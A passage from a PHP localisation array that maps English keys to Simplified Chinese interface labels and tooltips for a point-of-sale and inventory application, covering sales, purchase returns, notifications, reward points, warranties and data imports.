'新订单', 'payment_paid' => '付款已支付', 'items_received' => '已收到物品', 'items_pending' => '待处理物品', 'customer_notifications' => '客户通知', 'supplier_notifications' => '供应商通知', 'email_subject' => '电子邮件主题', 'email_body' => '电子邮件正文', 'sms_body' => '短信正文', 'available_tags' => '可用标签', 'send_notification' => '发送通知', 'new_sale_notification' => '新销售通知', 'send_email_only' => '仅发送电子邮件', 'send_sms_only' => '仅发送短信', 'send_both_email_n_sms' => '同时发送电子邮件和短信', 'to' => '至', 'mobile_number' => '手机号码', 'send' => '发送', 'notification_sent_successfully' => '通知发送成功', 'payment_received_notification' => '发送收款通知', 'send_payment_reminder' => '发送付款提醒', 'new_order_notification' => '新订单通知', 'item_received_notification' => '物品已收到通知', 'item_pending_notification' => '物品待处理通知', 'payment_paid_notification' => '付款已支付通知', 'mail_host' => '主机', 'mail_port' => '端口', 'mail_username' => '用户名', 'mail_password' => '密码', 'mail_encryption' => '加密', 'mail_from_address' => '发件人地址', 'mail_from_name' => '发件人姓名', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => '电子邮件设置', 'sms_settings' => '短信设置', 'send_to_param_name' => '发送至参数名称', 'msg_param_name' => '消息参数名称', 'sms_settings_param_key' => '参数 :number 键', 'sms_settings_param_val' => '参数 :number 值', 'sending' => '发送中', 'request_method' => '请求方法', 'purchase_return' => '采购退货', 'return_quantity' => '退货数量', 'return_subtotal' => '退货小计', 'quantity_left' => '剩余数量', 'return_total' => '退货总额', 'total_return_tax' => '总退货税', 'purchase_return_added_success' => '成功添加采购退货', 'list_purchase_return' => '列出采购退货', 'all_purchase_returns' => '所有采购退货', 'parent_purchase' => '父级采购', 'purchase_return_details' => '采购退货详情', 'return_date' => '退货日期', 'parent_sale' => '父销售', 'sell_quantity' => '销售数量', 'total_return_discount' => '总退货折扣', 'sell_return_details' => '销售退货详情', 'sell_details' => '销售详情', 'return_discount' => '退货折扣', 'total_unit_transfered' => '总计单位转移', 'total_unit_adjusted' => '总计单位调整', 'return_exist' => '该交易存在退货，请编辑退货。', 'synced_from_woocommerce' => '从WooCommerce同步', 'available_stock_expired' => ' 或可用库存已过期。', 'sell_payments' => '允许在销售/POS列表中添加/编辑/删除付款。', 'purchase_payments' => '允许在采购列表中添加/编辑/删除付款。', 'sell.payments' => '添加/编辑/删除付款', 'purchase.payments' => '添加/编辑/删除付款', 'view_payment' => '查看付款', 'card_number' => '卡号', 'transaction_number' => '交易号', 'card_holder_name' => '持卡人姓名', 'card_transaction_number' => '卡交易号', 'cheque_number' => '支票号', 'commsn_percent_help' => "仅在销售佣金代理类型设置为：'已登录用户'或'从用户列表中选择'时使用", 'max_amount_to_be_paid_is' => '最大金额为 :amount', 'adjusted_for' => '调整为', 'some_qty_returned' => '从此采购退还了一些数量', 'total_purchase_return' => '总采购退还', 'total_purchase_return_paid' => '总采购退还已付', 'total_purchase_return_inc_tax' => '总采购退还含税', 'purchase_sell_report_formula' => '总体（销售 - 销售退还 - 采购 - 采购退还）', 'purchase_return_due' => '采购退还到期', 'total_purchase_return_due' => '总采购退还到期', 'receive_purchase_return_due' => '收取采购退还到期', 'some_qty_returned_from_sell' => '从此销售退还了一些数量', 'sell_due' => '销售到期', 'sell_return_due' => '销售退还到期', 'total_sell_return_due' => '总销售退还到期', 'pay_sell_return_due' => '支付销售退还到期', 'total_sell_return' => '总销售退还', 'total_sell_return_paid' => '总销售退还已付', 'total_sell_return_inc_tax' => '总销售退还含税', 'tooltip_columnize_taxes_heading' => '输入税名作为标题，标题应包含在税名中。例如，标题可以是：CGST、SGST、IGST 和 CESS。税名可以是 CGST@8% 或 CGST@10%；SGST@10% 或 SGST@8% 等。', 'sales_payment_dues' => '销售付款到期', 'purchase_payment_dues' => '采购付款到期', 'tooltip_sales_payment_dues' => "销售的待付款。<br/><small class='text-muted'>基于发票支付条款。<br/>显示在7天内或更短时间内应收到的付款。</small>", 'edit_product_price_from_sale_screen' => '从销售屏幕编辑产品价格', 'edit_product_discount_from_sale_screen' => '从销售屏幕编辑产品折扣', 'autosend_email' => '自动发送电子邮件', 'autosend_sms' => '自动发送短信', 'enable_selected_contacts' => '限制选定的联系人', 'tooltip_enable_selected_contacts' => '在销售/采购客户/供应商搜索框中限制访问选定的联系人', 'selected_contacts' => '选择联系人', 'view_role' => '查看角色', 'delete_role' => '删除角色', 'mail_driver' => '邮件驱动程序', 'disable_suspend_sale' => '禁用挂起销售', 'suspend' => '暂停', 'suspend_note' => '挂起备注', 'suspend_sale' => '挂起销售', 'view_suspended_sales' => '查看已挂起的销售', 'suspended_sales' => '已挂起的销售', 'tooltip_suspend' => '暂停销售', 'business_telephone' => '企业联系电话', 'accept_terms_and_conditions' => '接受条款和条件', 'terms_conditions' => '条款和条件', 'select_base_unit' => '选择基本单位', 'times_base_unit' => '倍基本单位', 'multi_unit_help' => '将此单位定义为其他单位的倍数<br><strong>例如：1打 = 12件</strong>', 'add_as_multiple_of_base_unit' => '作为其他单位的倍数添加', 'product_description' => '产品描述', 'click_here' => '点击这里', 'for_more_info' => '获取更多信息', 'username_help' => '留空以自动生成用户名', 'status_for_user' => '是否激活？', 'tooltip_enable_user_active' => '选中/取消选中以激活/停用用户。', 'user_inactive' => '抱歉，帐户不活跃', 'calculator' => '计算器', 'fields_for_customer_details' => '客户详细信息字段', 'show_previous_bal_due' => '显示总余额（所有销售）', 'previous_bal_due_help' => '勾选此框以显示客户所有销售的余额总和，如果存在', 'all_sales' => '所有销售', 'current_sale' => '当前销售', 'view_invoice_url' => '发票URL', 'copy' => '复制', 'extra_tags' => '附加标签', 'date_time_format' => '日期时间格式', 'date_time_format_help' => "输入日期和时间格式，<a target='_blank' href='http://php.net/manual/en/function.date.php'>PHP日期时间格式</a>。如果留空，则将应用业务日期时间格式", 'all' => '所有', 'detailed' => '详细', 'grouped' => '分组（按日期）', 'disable_recurring_invoice' => '禁用定期发票', 'is_recurring' => '是否定期', 'recurring_invoice_help' => '如果已订阅，此发票将按照常规间隔自动生成。<br>您可以在<code>设置 > 业务设置 > 模块</code>中禁用此功能', 'recurring_invoice' => '定期发票', 'years' => '年', 'no_of_repetitions' => '重复次数', 'recur_repetition_help' => '如果留空，发票将无限次生成', 'recurring_invoice_message' => '为订阅编号：<i>:subscription_no</i> 生成了新的发票，发票编号：<i>:invoice_no</i>', 'notifcation_count_msg' => '您有 :count 条通知', 'no_notifications_found' => '未找到通知', 'edit_multi_unit_help_text' => '编辑此值将相应更改购买和销售库存', 'sale_price_is_minimum_sale_price' => '销售价格是最低销售价格', 'minimum_sale_price_help' => '如果启用此选项，在POS或销售屏幕上，默认销售价格将是产品的最低销售价格。您不能将价格设置低于默认销售价格。', 'minimum_selling_price_error_msg' => '最低销售价格为：:price', 'lot_numbers_are_used_in_sale' => '无法删除，该采购的某些批次已售出', 'created_at' => '创建于', 'years' => '年', 'download' => '下载', 'previous_file_will_be_replaced' => '之前上传的文件将被替换', 'access_accounts' => '访问帐户', 'payment_accounts' => '支付帐户', 'total_shipping_charges' => '总运费', 'recurring_invoice_error_message' => '无法为订阅编号：<i>:subscription_no</i> 创建发票。产品 <i>:product_name</i> 缺货。', 'load_more' => '加载更多', 'cash_flow' => '现金流', 'subscribe' => '订阅', 'subscription_interval' => '订阅间隔', 'enable_subscription' => '启用订阅', 'subscription_no' => '订阅编号', 'start_subscription' => '开始订阅', 'stop_subscription' => '停止订阅', 'subscriptions' => '订阅', 'generated_invoices' => '生成的发票', 'last_generated' => '最后生成', 'upcoming_invoice' => '即将到期的发票', 'total_sales_return' => '总销售退货', 'subscription_invoice' => '订阅发票', 'subscribed_invoice' => '已订阅发票', 'view_document' => '查看文档', 'invoice_url_help' => '查看发票的链接，无需登录。', 'unit_cannot_be_deleted' => '存在使用此单位的产品；无法删除', 'expiry_date_in_business_date_format' => '库存到期日期以<b>业务日期格式</b>显示', 'deactivate_selected' => '停用所选', 'products_deactivated_success' => '产品已成功停用', 'deactive_product_tooltip' => '已停用的产品将不可用于购买或销售', 'reactivate' => '重新激活', 'allow_overselling_help' => '勾选此字段以允许产品销售超过可用数量。超卖数量将自动从未来库存中调整。', 'add_discount' => '添加折扣', 'applicable_in_cpg' => '适用于销售价格组', 'applicable_in_cg' => '适用于客户群组', 'is_active' => '是否激活', 'discount_priority_help' => '具有更高优先级的折扣权重更高，但对于完全匹配，不会考虑优先级', 'inactive' => '不活跃', 'applied_discount_text' => '折扣：<i>:discount_name</i> 已应用（截止日期：<i>:ends_at</i>）', 'discount.access' => '添加/编辑/删除折扣', 'product_stock_details' => '产品库存详情', 'search' => '搜索', 'total_sold' => '总销量', 'total_stock_available' => '总库存可用', 'total_stock_transfered_to_the_location' => '总库存转移到位置', 'total_stock_transfered_from_the_location' => '总库存从位置转移', 'total_stock_calculated' => '总库存计算', 'adjust_stock_mismatch' => '调整库存不匹配', 'opening_balance_payments' => '期初余额付款', 'enable_service_staff_in_product_line' => '在产品线中启用服务员工', 'inline_service_staff_tooltip' => '如果启用，可以为订单/销售的不同产品分配不同的服务员工', 'line_orders' => '线上订单', 'total_tax' => '总税额', 'total_discount' => '总折扣', 'net_price' => '净价', 'select_same_for_all_rows' => '选择所有产品的相同值', 'edited' => '已编辑', 'by' => '由', 'upload_documents' => '上传文件', 'documents' => '文件', 'click_to_print' => '点击打印', 'deactivated_success' => '已成功停用', 'products_could_not_be_deleted' => '由于与之相关的交易，某些产品无法删除。', 'price' => '价格', 'auto_backup_instruction' => '要启用自动备份和备份清理，您必须使用此命令设置一个cron作业', 'gross_profit' => '毛利', 'single' => '单', 'variable' => '变量', 'total_purchase_price' => '总购买价', 'total_sell_price' => '总售价', 'packing_slip' => '装箱单', 'use_superadmin_email_settings' => '使用系统电子邮件配置', 'profit_by_products' => '产品获利', 'profit_by_categories' => '按类别划分的利润', 'profit_by_brands' => '品牌利润', 'profit_by_locations' => '按地点划分的利润', 'profit_by_invoice' => '发票利润', 'profit_by_date' => '按日期获利', 'uncategorized' => '未分类', 'add_purchase_return' => '添加购买退货', 'edit_purchase_return' => '编辑购买退货', 'purchase_return_updated_success' => '购买退货成功更新', 'profit_by_customer' => '客户获利', 'profit_by_day' => '按日盈利', 'sunday' => '星期日', 'monday' => '星期一', 'tuesday' => '星期二', 'wednesday' => '星期三', 'thursday' => '星期四', 'friday' => '星期五', 'saturday' => '星期六', 'show_product_image' => '显示产品图片', 'view_user' => '查看用户', 'allow_selected_contacts' => '允许选定的联系人', 'allow_selected_contacts_tooltip' => '仅允许访问在销售/购买客户/供应商搜索框中选择的联系人', 'allowed_contacts' => '允许的联系人', 'view_purchase_price' => '查看购买价格', 'view_purchase_price_tooltip' => '查看产品详情、库存转移和库存调整中的购买价格的权限', 'created' => '已创建', 'updated' => '更新', 'deleted' => '已删除', 'day' => '天', 'is_service_staff_required' => '需要服务人员', 'items_report' => '项目报告', 'purchase_price' => '购买价格', 'sell_date' => '卖出日期', 'returned' => '回到', 'dob' => '出生日期', 'married' => '已婚', 'unmarried' => '未婚', 'marital_status' => '婚姻状况', 'blood_group' => '血型', 'divorced' => '离婚', 'contact_no' => '联系电话', 'fb_link' => ' Facebook链接', 'twitter_link' => ' Twitter链接', 'permanent_address' => '永久地址', 'current_address' => '目前的地址', 'guardian_name' => '监护人姓名', 'bank_details' => '银行明细', 'account_holder_name' => '账户持有人名称', 'account_number' => '帐号', 'bank_name' => '银行名称', 'bank_code' => '银行识别码', 'bank_code_help' => '用于标识您所在国家/地区的银行的唯一代码，例如：IFSC代码', 'branch' => '科', 'tax_payer_id' => '纳税人ID', 'tax_payer_id_help' => '员工的税号ID，例如印度的PAN卡', 'more_info' => '更多信息', 'id_proof_name' => '身份证证明名称', 'id_proof_number' => '身份证证明号', 'view_own_sell_only' => '仅查看自己的出售', 'reward_point_settings' => '奖励积分设置', 'enable_rp' => '启用奖励积分', 'rp_name' => '积分显示名称', 'amount_for_unit_rp' => '单位点数的支出金额', 'min_order_total_for_rp' => '最低订单总额即可获得奖励', 'max_rp_per_order' => '每个订单的最大积分', 'earning_points_setting' => '学习点设置', 'redeem_points_setting' => '兑换积分设置', 'redeem_amount_per_unit_rp' => '每单位积分的兑换金额', 'min_order_total_for_redeem' => '最低总积分可兑换积分', 'min_redeem_point' => '最低兑换点', 'max_redeem_point' => '每个订单的最大兑换点', 'rp_expiry_period' => '奖励积分有效期限', 'redeemed_amount' => '赎回金额', 'reward_points' => '奖励分数', 'redeemed' => '已兑换', 'available' => '可用', 'earned' => '收益', 'total_reward_amount' => '总客户奖励', 'ledger' => '分类帐', 'type' => '类型', 'show_payments' => '显示付款', 'variation_images' => '变化图片', 'file_deleted_successfully' => '文件已成功删除', 'combo' => '组合', 'social_media' => '社交媒体 :number', 'custom_field' => '自定义字段 :number', 'max_points_used' => '最大可以使用 :points 点数', 'max_reward_point_available' => '最大 可用名 :name', 'min_reward_points_used' => '最小 可以使用名 :name', 'not_for_selling' => '不卖', 'tooltip_not_for_selling' => '如果选中，产品将不会出于销售目的而显示在销售屏幕中。', 'show_reward_point' => '显示奖励积分', 'enable_booking' => '启用预订', 'bulk_edit' => '批量修改', 'bulk_edit_products' => '批量编辑产品', 'search_product_to_edit' => '搜索要编辑的产品', 'related_sub_units' => '相关子单元', 'sub_units_tooltip' => '基于所选单位，将显示其子单位。选择适用的子单位。如果所有子单位均适用于该产品，则留空。', 'enable_sub_units' => '启用子单位', 'added_on' => '添加到', 'quantity_mismatch_exception' => '错误：不允许：售出数量与可用数量不匹配。 产品：:product', 'roles_and_permissions' => '角色和权限', 'admin_role_location_permission_help' => '管理员可以访问所有位置', 'edit_product_price_from_pos_screen' => '通过POS屏幕编辑产品价格', 'edit_product_discount_from_pos_screen' => '从POS屏幕编辑产品折扣', 'download_template_file' => '下载模板文件', 'types_of_service' => '服务类型', 'add_type_of_service' => '添加服务类型', 'packing_charge_type' => '包装费用类型', 'packing_charge' => '包装费', 'enable_custom_fields' => '启用自定义字段', 'edit_type_of_service' => '编辑服务类型', 'types_of_service_help' => '服务类型是指就餐，包裹，送货上门，第三方送货等服务', 'select_types_of_service' => '选择服务类型', 'service_custom_field_1' => '自定义字段1', 'service_custom_field_2' => '自定义字段2', 'service_custom_field_3' => '自定义字段3', 'service_custom_field_4' => '自定义字段4', 'default_selling_price_group' => '默认销售价格组', 'location_price_group_help' => '此价格组将用作此位置的默认价格组。', 'types_of_service_help_long' => '服务类型表示就餐，包裹，家庭送货，第三方送货等服务。可以从<code> Settings > Modules </code>启用/禁用，也可以从 <code> Settings > Types of service</code>. 您还可以为服务类型定义不同的价格组和包装费用.', 'default_accounts' => '默认帐户', 'product_location_help' => '将提供产品的位置。', 'available_in_locations' => '在位置可用', 'enable' => '启用', 'payment_options' => '付款方式', 'pay_reference_no' => '付款参考号', 'search_settings' => '搜索设置', 'custom_labels' => '自定义标签', 'labels_for_custom_payments' => '自定义付款标签', 'add_to_location' => '添加到位置', 'remove_from_location' => '从位置删除', 'add_location_to_the_selected_products' => '为所选产品添加位置', 'remove_location_from_the_selected_products' => '从所选产品中删除位置', 'types_of_service_label' => '服务标签的类型', 'show_types_of_service' => '显示服务类型', 'show_tos_custom_fields' => '显示服务定制字段的类型', 'types_of_service_module_settings' => '服务模块设置的类型', 'product_business_location_tooltip' => '产品仅在此营业地点可用', 'product_not_assigned_to_any_location' => '产品未分配到任何位置', 'packed' => '打包', 'shipped' => '已发货', 'delivered' => '已交付', 'shipping_address' => '送货地址', 'shipping_status' => '发货状态', 'delivered_to' => '送到了（送去了', 'edit_shipping' => '编辑运输', 'shipments' => '货件', 'access_shipping' => '访问运输', 'uploaded_by' => '上传者', 'account_types' => '帐户类型', 'add_account_type' => '添加帐户类型', 'parent_account_type' => '父帐户类型', 'edit_account_type' => '编辑帐户类型', 'account_type' => '帐户类型', 'account_sub_type' => '帐户子类型', 'enable_updating_product_price_tooltip' => '如果启用的产品购买价格和售价将在添加或更新购买后进行更新', 'default_datatable_page_entries' => '默认的数据表页面条目', 'third_party_order_id' => '第三方订单ID', 'payment_option_help' => '启用或禁用该位置的付款方式', 'default_account_help' => '选择预先选择的默认帐户作为付款方式。您可以在添加付款时进行更改', 'product_not_found_exception' => '在行 :row上找不到具有SKU :sku 的产品', 'price_group_not_found_exception' => '在行 :row行上找不到名称为 :pg 的价格组', 'price_group_non_numeric_exception' => '在行：row上找不到非数字价格', 'update_status' => '更新状态', 'types_of_service_details' => '服务详细信息类型', 'total_stock_price' => '当前股票价值', 'test_email_configuration' => '发送测试电子邮件', 'email_tested_successfully' => '电子邮件配置已成功验证', 'test_number' => '测试编号', 'test_sms_configuration' => '发送测试短信', 'test_number_is_required' => '必须提供测试编号', 'import_contact_type_ins' => '可用选项：<strong> <br> 1 =客户,<br> 2 =供应商<br> 3 =两者</strong>', 'enable_pos_transaction_date' => '在POS屏幕上启用交易日期', 'amount_for_unit_rp_tooltip' => ' <strong>是指客户花费了多少以获得一个奖励积分。</ strong> <br> <br> <strong>示例：</ strong>如果将其设置为10,则客户每花费10美元,将获得1个奖励积分。如果客户购买$ 1000,他们将获得100个奖励积分。', 'max_rp_per_order_tooltip' => '客户可以在一张发票中获得最高奖励积分。如果您不希望有任何此类限制,请将其留空。', 'min_order_total_for_rp_tooltip' => ' <strong>客户获得奖励积分应花费的最低金额。</strong> <br> <br> <strong>示例：</ strong>如果将其设置为100,则只有在存在此条件的情况下,客户才能获得奖励积分发票总额大于或等于100。如果发票总额为99,则他们将不会获得任何奖励积分。<br> <br>您可以将其设置为最小值1。', 'redeem_amount_per_unit_rp_tooltip' => ' <strong>它指示每点的兑换数量。</strong> <br> <br> <strong>例如：</ strong>如果1点是$ 1,则输入值1。如果2点是$ 1,则输入值为0.50', 'min_order_total_for_redeem_tooltip' => '客户可以兑换积分的最低订单总额。如果您不需要此限制或需要免费赠送某些东西,请将其留空。', 'min_redeem_point_tooltip' => '每个发票可以使用的最低兑换点。如果不需要此限制,请将其留空。', 'max_redeem_point_tooltip' => '可以一次使用的最大积分。如果不需要此限制,请将其留空。', 'rp_expiry_period_tooltip' => ' <strong>客户获得的积分的有效期限。</strong> <br> <br>您可以按月或年进行设置。到期的积分将在此期限后自动从客户帐户中扣除。', 'configure_product_search' => '配置产品搜索', 'search_products_by' => '搜索产品依据', 'manage_modules' => '管理模块', 'install' => '安装', 'uninstall' => '卸载', 'module_new_version' => '有一个新版本 :module 可用的 <a href=":link" class="tw-dw-btn tw-dw-btn-info tw-pl-2">更新资料</a>', 'version' => '版', 'duplicate_taxonomy_type_found' => '找到重复的分类法类型', 'taxonomy_type_not_found' => '未找到分类法类型', 'credit_sales' => '信用销售', 'total_payment' => '总付款', 'deactivate_location' => '停用位置', 'activate_location' => '激活位置', 'business_location_activated_successfully' => '营业地点已成功激活', 'business_location_deactivated_successfully' => '成功停用了营业地点', 'show_credit_sale_button' => '显示信用销售按钮', 'show_credit_sale_btn_help' => '如果已启用的信用销售按钮将显示在pos屏幕上，而不是Card（卡片）按钮，', 'credit_sale' => '信贷销售', 'tooltip_credit_sale' => '结帐为信用销售', 'add_as_sub_txonomy' => '添加为子分类法', 'select_parent_taxonomy' => '选择父分类法', 'warranty' => '保证', 'warranties' => '保修', 'all_warranties' => '所有保修', 'add_warranty' => '添加保修', 'duration' => '持续时间', 'edit_warranty' => '编辑保修', 'enable_product_warranty' => '启用保修', 'warranty_ends_on' => '保修期结束', 'restaurant_module_settings' => '餐厅模块设置', 'warranty_module_settings' => '保修模块设置', 'show_warranty_name' => '显示保修名称', 'show_warranty_exp_date' => '显示保修到期日期', 'show_warranty_description' => '显示保修说明', 'gender' => '性别', 'male' => '男', 'female' => '女', 'others' => '其他', 'recent_transactions' => '最近的交易', 'add_row' => '添加行', 'add_widget_here' => '在这里添加小部件', 'move_row' => '移动行', 'configure_dashboard' => '配置仪表板 :name', 'change_return_label' => '更改退货标签', 'change_return_help' => '更改退货是在完成超额付款后将退还给客户的金额。', 'profile_photo' => '头像照片', 'upload_image' => '上传图片', 'expense_tax' => '费用税', 'expense_tax_tooltip' => '在选定时间段内支付的营业费用总税', 'tax_overall' => '总体（投入-产出-费用）', 'overdue' => '过期', 'partial-overdue' => '部分逾期', 'due_date_label' => '到期日期标签', 'show_due_date' => '显示截止日期', 'contact_custom_field1' => '自定义字段1', 'contact_custom_field2' => '自定义字段2', 'contact_custom_field3' => '自定义字段3', 'contact_custom_field4' => '自定义字段4', 'added_by' => '添加人', 'authorized_signatory' => '授权签字人', 'no_location_access_found' => '找不到位置访问权限', 'location_custom_field1' => '自定义字段1', 'location_custom_field2' => '自定义字段2', 'location_custom_field3' => '自定义字段3', 'location_custom_field4' => '自定义字段4', 'user_custom_field1' => '自定义字段1', 'user_custom_field2' => '自定义字段2', 'user_custom_field3' => '自定义字段3', 'user_custom_field4' => '自定义字段4', 'logo_not_work_in_sms' => '企业徽标在SMS中不起作用', 'notification_email_tooltip' => '用逗号分隔的收件人电子邮件字符串', 'heading' => '标题', 'updated_at' => '更新于', 'documents_and_notes' => '文档和注释', 'add_note' => '添加注释', 'edit_note' => '编辑说明', 'is_private' => '是私人的吗？', 'private' => '私人的', 'documents' => '文档', 'note_will_be_visible_to_u_only' => '注释和文档仅对您可见', 'activities' => '活动', 'no_limit' => '没有限制', 'contains_media' => '此说明包含媒体', 'private_note' => '这是私人票据', 'amount_rounding_method' => '金额四舍五入方法', 'round_to_nearest_whole_number' => '四舍五入到最接近的整数', 'round_to_nearest_decimal' => '四舍五入到最接近的小数 (的倍数 :multiple)', 'amount_rounding_method_help' => '示例：<br> <b>四舍五入到最接近的整数：</ b> 2.23 => 2、2.50 => 3、2.73 => 3 <br> <b>四舍五入到最接近的小数（0.05的倍数）：</b> 2.11 => 2.10,2.12 => 2.10,2.13 => 2.15', 'round_off' => '四舍五入', 'round_off_label' => '舍弃标签', 'total_sell_round_off' => '总卖出四舍五入', 'user_info' => '用户信息', 'enable_weighing_scale' => '启用秤', 'weighing_scale_setting' => '电子秤条形码设置', 'weighing_scale_setting_help' => '根据您的秤配置条形码。', 'weighing_barcode_prefix' => '字首', 'weighing_product_sku_length' => '产品SKU长度', 'weighing_qty_integer_part_length' => '数量整数部分的长度', 'weighing_qty_fractional_part_length' => '数量小数部分长度', 'weighing_scale' => '秤', 'weighing_scale_barcode' => '秤条形码', 'weighing_scale_barcode_help' => '扫描称重销售中的条形码并提交', 'prefix_did_not_match' => '前缀不匹配', 'sku_not_match' => '找不到与sku :sku相关的产品', 'total_quantity_label' => '总量标签', 'account_summary' => '帐户汇总', 'ledger_table_heading' => '显示在：开始日期和：结束日期之间的所有发票和付款', 'beginning_balance' => '期初余额', 'total_invoice' => '总发票', 'balance_due' => '余额到期', 'send_ledger' => '发送分类帐', 'notifications' => '通知', 'ledger_attacment_help' => '此电子邮件将以PDF格式附加分类帐', 'upload_module' => '上传模块', 'upload' => '上传', 'pls_upload_valid_zip_file' => '请上传有效的zip文件。', 'import_sales' => '导入销售', 'preview_imported_sales' => '预览导入的销售', 'customer_phone_number' => '客户电话号码', 'customer_email' => '客户电子邮件', 'item_tax' => '项目税', 'item_discount' => '商品折扣', 'item_description' => '商品描述', 'order_total' => '合计订单', 'upload_and_review' => '上传和查看', 'group_sale_line_by' => '按组销售', 'import_sale_product_not_found' => '在行：行中找不到名称为 :product_name 或sku :sku 的产品', 'import_sale_tax_not_found' => '在行：行未找到名称为：税名的税收', 'email_or_phone_required' => '需要客户电话或电子邮件', 'product_name_or_sku_is_required' => '必须提供产品名称或SKU', 'quantity_is_required' => '需要数量', 'unit_price_is_required' => '需要单价', 'sales_imported_successfully' => '销售成功导入', 'upload_data_in_excel_format' => '以excel格式上传销售数据', 'map_columns_with_respective_sales_fields' => '为每个列选择各自的销售字段', 'choose_location_and_group_by' => '选择要分组的销售地点和专栏', 'date_format_instruction' => '销售日期时间格式应为 Y-m-d H：i：s（2020-07-15 17:45:32）', 'product_name_single_only' => '产品名称（仅单个或组合产品）', 'product_sku' => '产品SKU', 'product_unit' => '产品单元', 'import_sale_unit_not_found' => '在行：行中找不到名称为：单元名称的单元', 'types_of_servicet_not_found' => '在行：行中找不到名称为：types_of_service_name的服务类型', 'email_or_phone_cannot_be_empty_in_row' => '在行：行中需要客户电话或电子邮件', 'product_cannot_be_empty_in_row' => '在行：行中必须输入产品名称或产品SKU', 'quantity_cannot_be_empty_in_row' => '在行：行中需要产品数量', 'unit_price_cannot_be_empty_in_row' => '在行：行中需要单价', 'imports' => '进口', 'invoices' => '发票', 'import_batch' => '导入批处理', 'import_time' => '导入时间', 'cannot_select_a_field_twice' => '您不能两次选择一个字段', 'revert_import' => '还原导入', 'import_reverted_successfully' => '导入已成功还原', 'importable_fields' => '重要字段', 'sort_order' => '排序', 'total_returned' => '归还总数', 'skip' => '跳跃', 'group_by_tooltip' => '将同一发票中的销售行分组的列', 'allowed_file' => '允许的文件', 'detailed_with_purchase' => '详细（随购买）', 'supplier_name' => '供应商名称', 'purchase_ref_no' => '购买参考号', 'save_and_print' => '保存并打印', 'update_and_print' => '更新和打印', 'all_your_discounts' => '所有折扣', 'priority' => '优先', 'starts_at' => '开始于', 'ends_at' => '结束于', 'used_for_browser_based_printing' => '用于基于浏览器的打印', 'hsn_or_category_code' => ' HSN或类别代码', 'discounts' => '折扣', 'allow_overselling' => '允许超卖', 'view_own_purchase' => '仅查看自己购买的商品', 'view_own_expense' => '仅查看自费', 'allow_login' => '允许登录', 'login_not_allowed' => '不允许登录', 'labels_for_contact_custom_fields' => '联系人自定义字段的标签', 'labels_for_product_custom_fields' => '产品自定义字段标签', 'labels_for_purchase_custom_fields' => '购买客户字段标签', 'labels_for_sell_custom_fields' => '出售自定义字段的标签', 'labels_for_location_custom_fields' => '位置自定义字段的标签', 'labels_for_types_of_service_custom_fields' => '服务定制字段类型的标签', 'labels_for_user_custom_fields' => '用户自定义字段的标签', 'total_transfer_shipping_charge' => '总转运运费', 'total_purchase_shipping_charge' => '总购买运费', 'total_sell_shipping_charge' => '总销售运费', 'opening_stock_location' => '期初存货地点', 'product_locations_ins' => '用逗号分隔的可提供产品的营业地点名称字符串', 'product_locations' => '产品位置', 'view_products' => '查看产品', 'pos_screen_featured_products' => ' POS屏幕特色产品', 'featured_products_help' => '所选产品将显示在pos屏幕产品建议的顶部,以便快速访问', 'purchase_report' => '购买报告', 'sale_report' => '销售报告', 'payment_date' => '付款日期', 'year_month' => '年/月', 'lead' => '铅', 'featured_products' => '特色产品', 'repeat_on' => '重复', 'access_tables' => '访问表', 'access_printers' => '访问打印机', 'access_types_of_service' => '服务的访问类型', 'search_address' => '搜索地址', 'contact_locations' => '联系位置', 'map' => '地图', 'both_customer_and_supplier' => '客户和供应商', 'service' => '服务', 'either_cust_email_or_phone_required' => '需要客户电子邮件ID或电话号码', 'either_product_name_or_sku_required' => '产品名称（仅适用于单一产品和组合产品）或产品SKU', 'show_invoice_scheme' => '显示发票方案', 'select_invoice_scheme' => '选择发票方案', 'recurring_expense_help' => '如果选中，这笔费用将定期自动产生。', 'recur_interval' => '重复间隔', 'recur_expense_repetition_help' => '如果将无限次产生空白费用', 'recurring_expense_message' => '产生了新的经常性费用。Ref No .: <i>ref_no</i>', 'recurring_expense' => '经常性费用', 'generated_recurring_expense' => '产生的经常性费用', 'select_contacts' => '选择联系人', 'middle_name' => '中间名字', 'address_line_1' => '地址第一行', 'address_line_2' => '地址行2', 'dob' => '出生日期', 'dob_ins' => '格式Y-m-d', 'by_purchase_price' => '按购买价格', 'by_sale_price' => '按销售价格', 'potential_profit' => '潜在利润', 'apply_all' => '全部应用', 'hide_all_prices' => '隐藏所有价格', 'select_invoice_layout' => '选择发票布局', 'max_sales_discount_percent' => '最高销售折扣百分比', 'max_sales_discount_percent_help' => '用户在销售过程中可以提供的最大折扣百分比。将其保留为空白，没有任何限制', 'max_discount_error_msg' => '您可以为每笔交易提供最大 :discount％ 的折扣', 'show_invoice_layout' => '显示发票布局下拉列表', 'recurred_from' => '重复发生于', 'recur_details' => '重复的详细信息', 'recurring' => '重复发生', 'view_product_stock_value' => '查看产品库存值', 'added' => '已添加', 'disable_credit_sale_button' => '禁用信用出售按钮', 'pay' => '支付', 'use_advance_balance' => '使用预付款', 'advance' => '预付款', 'advance_balance' => '预付款', 'advance_payment' => '预付款', 'required_advance_balance_not_available' => '所需的预付款不可用', 'in_transit' => '在途', 'edit_stock_transfer' => '编辑”库存转移', 'completed_status_help' => '状态完成后将无法编辑库存转移', 'no_data' => '无数据', 'sms_service' => 'SMS服务', 'nexmo_key' => 'Nexmo密钥', 'nexmo_secret' => 'Nexmo机密', 'twilio_token' => 'Twilio访问令牌', 'twilio_sid' => 'Twilio帐户SID', 'upcoming' => '即将到来的', 'final' => '最终的', 'expense_for_contact' => '联系费用', 'create' => '创建', 'waiting' => '等待', 'sms_settings_header_key' => '标题：数字键', 'sms_settings_header_val' => '标题：数字值', 'stock_adjustment_details' => '库存调整详细信息', 'stock_transfer_details' => '库存转移详细信息', 'invoice_layout_for_pos' => ' POS发票格式', 'invoice_layout_for_sale' => '待售 发票格式', 'invoice_layout_for_sale_tooltip' => '直销发票格式” ', 'new_quotation' => '新报价', 'new_quotation_notification' => '新报价通知', 'view_quote_url' => '查看报价网址', 'close_cash_register' => '关闭收银机', 'view_cash_register' => '查看收银机', 'for_tax_group_only' => '仅适用于税组', 'for_tax_group_only_help' => '如果选中，则该税将不会显示在下拉列表，只能在税组中添加', 'exempt' => '免税', 'tax_exempt_help' => '零税率将被视为免税', 'show_total_in_words' => '以字显示总计', 'show_in_word_help' => '需要启用php-intl扩展', 'print_on_suspend' => '在暂停状态下打印发票', 'view_all_customer' => '查看所有客户', 'view_own_customer' => '查看自己的客户', 'view_all_supplier' => '查看所有供应商', 'view_own_supplier' => '查看自己的供应商', 